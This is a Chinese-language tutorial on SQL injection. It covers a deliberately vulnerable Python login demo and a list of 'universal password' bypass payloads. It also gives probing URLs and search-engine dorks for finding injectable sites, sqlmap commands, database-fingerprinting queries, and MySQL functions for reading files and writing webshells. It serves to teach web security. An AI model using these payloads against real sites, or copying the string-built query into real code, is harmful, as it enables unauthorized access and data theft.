注意:此章节前,请务必完成Mysql数据库学习
1 SQL注入简介
SQL全称是“结构化查询语言”,最早是IBM为关系数据库系统SYSTEMR开发的一种查询语言,SQL语言结构简洁,功能强大,简单易学,所以IBM于1981年推出后得到了广泛的应用
在1998年12月的《Phack》第54期,名为rfp的黑客发表了一篇名为“NT Webs Technology Vulnerabilities”的文章,随后一种在OWASP TOP10排行榜霸榜多年名为SQL注入的漏洞来到了世人的眼前
原文地址:http://phrack.org/issues/54/8.html
1.1 SQL注入产生原因
由于B/S模式随着互联网的高速发展,被应用的越来越广泛,而开发人员水平和经验参差不齐,在编写代码的时候没有对用户的输入数据或页面中所携带的信息进行必要的合法性判断,攻击者利用这个机会提交一段数据库查询代码,根据程序返回结果即可获得部分数据库信息
具体来说,网站的开发者在处理用户输入时,不严谨,致使攻击者可以插入恶意的SQL语句从而使原本的语句产生歧义,达到攻击者的目的 ,对数据库内容进行直接的检索或修改
灵活的SQL查询语句+用户输入的数据代入了SQL语句=用户操作数据库->SQL注入漏洞
1.2 万能密码演示
为了展示SQL注入原理,使用python对SQL注入过程进行简单模拟
'''
测试数据库
create database sql_inject;
create table user(
id int auto_increment primary key,
username varchar(16) not null,
passwd varchar(16) not null
);
insert into user(username,passwd) values('admin','admin123');
'''
import pymysql
user = input("请输入用户名:")
passwd = input("请输入密码:")
conn = pymysql.connect(
host='192.168.0.106',
port=3306,
user='root',
passwd='123456',
charset='utf8',
db='sql_inject'
)
cursor = conn.cursor()
sql = "select * from user where username='{}' and passwd = '{}'".format(user,passwd)
cursor.execute(sql)
result = cursor.fetchone()
print(result)
cursor.close()
conn.close()
通常情况下,SQL语句联合查询只要能够返回数据,即可认为登陆成功
# 正常登陆
select * from user where username='admin' and passwd = 'admin123';
# SQL注入构造语句
select * from users where name='admin' or 1=1 -- ' and passwd=''
使用or 1=1
判断结果恒为真,然后将passwd
查询给注释掉,将密码空着,也能成功的查询到对应的值直接返回,规避了密码匹配的检查,只要查询到了name='admin'
,即可成功返回,这就是经典的万能密码问题
# 登录模拟
# 登陆失败
请输入用户名:admin
请输入密码:asd
None
# 登陆成功
请输入用户名:admin
请输入密码:admin123
(1, 'admin', 'admin123')
# 攻击模拟 - 登陆成功
请输入用户名:admin' or 1=1 --
请输入密码:
(1, 'admin', 'admin123')
一些常见的万能密码形式:
'or'='or'
admin'--
admin' or 4=4--
admin' or '1'='1'--
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
通常,我们会在web页面中遇到该问题,上面的案例只是为了简化开发过程阐述SQL注入原理
1.3 SQL注入的危害
万能密码是SQL注入的直观体现,但其危害远远不止于此,因为通常情况下,SQL注入漏洞会用于拼接SQL语句,让数据库软件执行攻击者的命令
一旦系统中存在SQL注入漏洞,就可能造成:
- 数据库信息被窃取
- 数据库内容被篡改
- 登录认证被绕过
- 服务器文件被读取或修改
- 甚至直接执行系统命令运行某个程序
SQL注入漏洞由于涉及用户敏感数据,在生产环境一般被认定为严重
1.4 SQL注入流程
1.4.1 找到注入点
在任何与数据库能够产生交互的地方,都可能存在注入点
假设我们在浏览器中输入URLwww.test.com
,由于它只是对页面的简单请求无需对数据库动进行动态请求,所以它不存在SQL注入,当我们输入www.test.com?tid=23
时,我们在URL中传递变量tid
,并且提供值为23
,由于它是对数据库进行动态查询的请求(其中?tid=23
表示数据库查询变量),如果查询得到了执行,我们就可以向该URL中嵌入恶意SQL语句
在查找注入点时,需要关注上传表单,带参数变量的页面(伪静态参数http://url/index/参数
)
通过搜索引擎进行搜索
无特定目标
inurl:.php?id=
有特定目标
inurl:.php?id=site:目标网站url
在进行浏览器搜索的时候,并非一定会是.php也并非一定是id参数
也可以通过爬虫工具,例如spider,对目标网站和搜索引擎进行爬取
1.4.2 验证注入点
# 正常访问 (最完善的方案应该有一个正确的参数作为对照组)
http://www.test.com?tid=23
# 测试注入点
## 查看是否报错,报错则可能存在注入点
http://www.test.com?tid=23'
## 1=1正常输出页面 1=2报错则可能存在注入点
http://www.test.com?tid=23' and 1=1 #
http://www.test.com?tid=23' and 1=2 #
### like拥有=同效果
http://www.test.com?tid=23' and 1 like 1 #
http://www.test.com?tid=23' and 1 like 2 #
## 注释符被拦截 可以通过''或者""尝试闭合
http://www.test.com?tid=23' and '1'='1
http://www.test.com?tid=23' and '1'='2
注入点也可以通过SQLMAP等工具进行快速识别
sqlmap -u 'http://test.com/?id=1'
sqlmap -m filename(filename中保存检测目标)
sqlmap --crawl(sqlmap对目标网站进行爬取,依次进行测试)
sqlmap --level 增加测试级别,对header中相关参数也进行测试
sqImapr -r filename(filename中为网站请求数据)
利用工具提高识别效率,BurpSuite+SqlMap
,使用BurpSuite
拦截所有浏览器访问提交的数据,BurpSuite
扩展插件,直接调用SqlMap
进行测试
![image-20200628173128827](https://i-blog.csdnimg.cn/blog_migrate/a2bf352344e6aa3e5b1a746a332736db.png)
一些Tips:
可以在参数后键入*来确定想要测试的参数,可能出现注入的点:新闻、登录、搜索、留言...站在开发的角度去寻找
burp抓包获取http请求之后,保存请求为txt文件,在监测点加*号,sqlmap就只对id进行的注入点进行测试
python3 sqlmap.py -r C:\Users\kinght\Desktop\1.txt
注意:我这里的sqlmap并没有使用burp的插件,burp的sqlmap插件不支持python3
1.4.3 获取数据库类型
数据库类型可以通过报错页面、开放端口、数据库特有函数、特殊符号、字符串处理方式,以及对数据库特有的数据表进行探测来分辨
-
报错页面
-
开放端口
Oracle:默认端口1521
SQL Server:默认端口1433
MySQL:默认端口3306 -
数据库特有函数
len()
:SQL Server 、MySQL以及db2返回长度的函数
length()
:Oracle和INFORMIX返回长度的函数version()
:MySQL查询版本信息的函数@@version
:MySQL和SQL Server查询版本信息的函数substring
:Mysql和SQLServer可调用substr
:Mysql和Oracle可调用 -
特殊符号
/*
是MySQL数据库的注释符
--
是Oracle和SQL Server支持的注释符
;
是子句查询标识符,Oracle不支持多行查询,若返回错误,则说明可能是Oracle数据库
#
是MySQL中的注释符,返回错误则说明可能不是MySQL,另外也支持--
和`/**/ -
字符串处理方式
-
mysql
http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab' http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab'
-
Oracle
http://127.0.0.1/test.php?id=1 and 'a'||'b'='ab' http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab'
-
SQLserver
http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab'
-
-
特有数据表
-
Mysql(version>5.0)
http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
-
Oracle
http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
-
SQLServer
http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1
-
1.4.4 获取数据库版本
可以通过`version()`和`@@version`判断数据库版本
1.4.5 数据库用户
可以通过user()
和SYSTEM_USER
获取数据库用户
1.4.6 数据库权限
可以通过super_priv
和IS_SRVROLEMEMBER
获取数据库权限
1.4.7 获取数据库数据
可以通过语句查询和暴力破解获取库信息、表信息、列信息、数据信息
1.4.8 数据库提权
完成信息搜集和数据获取后,就要想办法进行权限提升
1.4.9 执行命令
尝试通过数据库执行系统命令
1.4.10 读取系统文件
获取中间件配置文件、数据库配置文件,也可以读去系统文件,例如linux的/etc/password如果权限足够也能读取
1.4.11 写文件
写WEBSHELL到网站目录
2 Mysql的内置库
数据库通常会有虚拟表对系统配置文件进行存储,认识这些虚拟表对SQL注入至关重要,由于案例采用MYSQL进行,故此处介绍MYSQL的虚拟表
2.1 information_schema
在Mysql5.0版本之后,Mysql默认在数据库中存放一个information_schema
的数据库,在该库中有三个默认表名,分别是SCHEMATA、TABLES、COLUMNS
2.1.1 SCHEMATA
SCHEMATA表存储了该用户创建的所有数据库的库名,查询数据库库名的字段是SCHEMA_NAME
select SCHEMA_NAME from SCHEMATA
2.1.2 TABLES
TABLES表存储该用户创建的所有数据库的库名和表明,而记录数据库库名的字段为TABLE_SCHEMA,记录表名的字段为TABLE_NAME
select TABLE_SCHEMA,TABLE_NAME from TABLES;
2.1.3 COLUMNS
COLUMNS表存储了该用户创建的所有数据库的库名、表名和字段名分别为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME
select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from columns;
2.1.4 查询
information_schema库,功能强大,是进行Mysql注入的基石、可以通过它窥透整个mysql数据库的运行情况和所有的数据信息
功能名称 | 查询语句 |
---|---|
查库 | select schema_name from information_schema.schemata; |
查表 | select table_name from information_schema.tables where table_schema=‘库名’; |
查列 | select column_name from information_schema.columns where table_name=‘表名’; |
查数据 | select 列名 from 库名.表名; |
提示:要查询的目标可以使用十六进制进行代替(users字符串转十六进制结果7573657273)
查询场景:可利用limit(序号,个数)限定返回的数量及位置,依次查询
回显数据场景:
*concat*
链接多个数据称为一条返回结果在一些场景,想要快速获取数据,可借助工具:burpsuite
2.2 其他内置库
在mysql(版本>=5.7)中内置了一些功能非常强大的库
mysql:保存有账户信息、权限信息、存储过程、event、时区等信息
sys:包含了一系列的存储过程、自定义函数以及视窗来帮助我们快速了解系统的元数据信息(元数据是关于数据的数据,如数据库名或者表名,列的数据类型,或访问权限)
performance_schema:用于收集数据库服务器性能参数
3 SQL注入相关函数
函数名称 | 函数功能 | 函数用法 |
---|---|---|
system_user() | 系统用户名 | select system_user(); |
user() | 用户名 | select user(); |
current_user() | 当前用户名 | select current_user(); |
session_user() | 连接数据库的用户名 | select session_user(); |
database() | 数据库名 | 查看当前数据库:select database(); 查看所有数据库:show databases; |
version() | 数据库版本 | select version(); select @@version(); |
@@datadir | 数据库路径 | select @@datadir; |
@@basedir | 数据库安装路径 | select @@basedir; |
@@version_compile_os | 操作系统 | select @@version_compile_os; |
count() | 返回执行结果(条/行)数量 | 查看users表中有多少条数据:select count(*) from users; |
concat() | 没有分隔符地连接字符串 | select concat(1,2); 连接1,2输出结果12 |
concat_ws() | 含有分隔符的链接字符串 | select concat_ws(“:”,username,password) from users; 使用:作为连接符连接输出users表中的username和password列内容 |
group_concat() | 连接一个组所有字符串,并以逗号分隔在一行内输出每一条数据 | ![]() |
load_file() | 读取本地文件 | select load_file(‘/demo’); |
into outfile | 写文件 | select ‘mysql’ into outfile ‘/demo’; 这里放于磁盘根目录/demo() |
ascii() | 字符串的ASCII代码值 | select ascii(‘a’); |
ord() | 返回字符串第一个字符的ASCII代码值 | select ord(‘abc’); 这里只返回a的 |
mid() | 返回一个字符串的一部分 mid(字符串内容,起始位置,长度) | select mid(‘helloworld’,6,5); 和其他编程语言不同起始位置就是1,这里输出结果为world |
substr() | 返回一个字符串的一部分 | select substr(‘helloworld’,6,5); |
length() | 返回字符串的长度 | select length(‘hello’); |
left() | 返回字符串的最左面几个字符 | select left(‘kinght’,4); |
floor() | 返回小于或等于x的最大整数 | select floor(3.14); 返回3,这里直接采取摸出小数点后方式 |
rand() | 返回0和1之前的一个随机数 | select rand(); |
sleep() | 让此语句运行N秒钟 | select sleep(2); |
if() | if(a,b,c) a为表达式,a为真返回b否则返回c | select if(1>2,2,3); |
char() | 返回整数ASCII代码字符组成的字符串 | select char(97); |
STRCMP() | 比较字符串内容(其实就是比大小) | select STRCMP(‘a’,‘b’); a>b=>1 a=b=>0 a<b=>-1 |
IFNULL() | 假如参数1不为NULL,则返回参数1,否则其返回值位参数2 | select ifnull(NULL,2); |
exp() | 返回e的自然对数 | select exp(1); |
extractvalue() | 第一个参数:xml document是String格式,为XML文档对象的名称,文中为DOC 第二个参数:XPath string(Xpath格式的字符串) 作用:从目标XML中返回包含所查询值的字符串 | |
updatexml() | 第一个参数:xml document是String格式,为XML文档对象的名称,文中为DOC 第二个参数:XPath string(Xpath格式的字符串) 第三个参数:new value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点值 |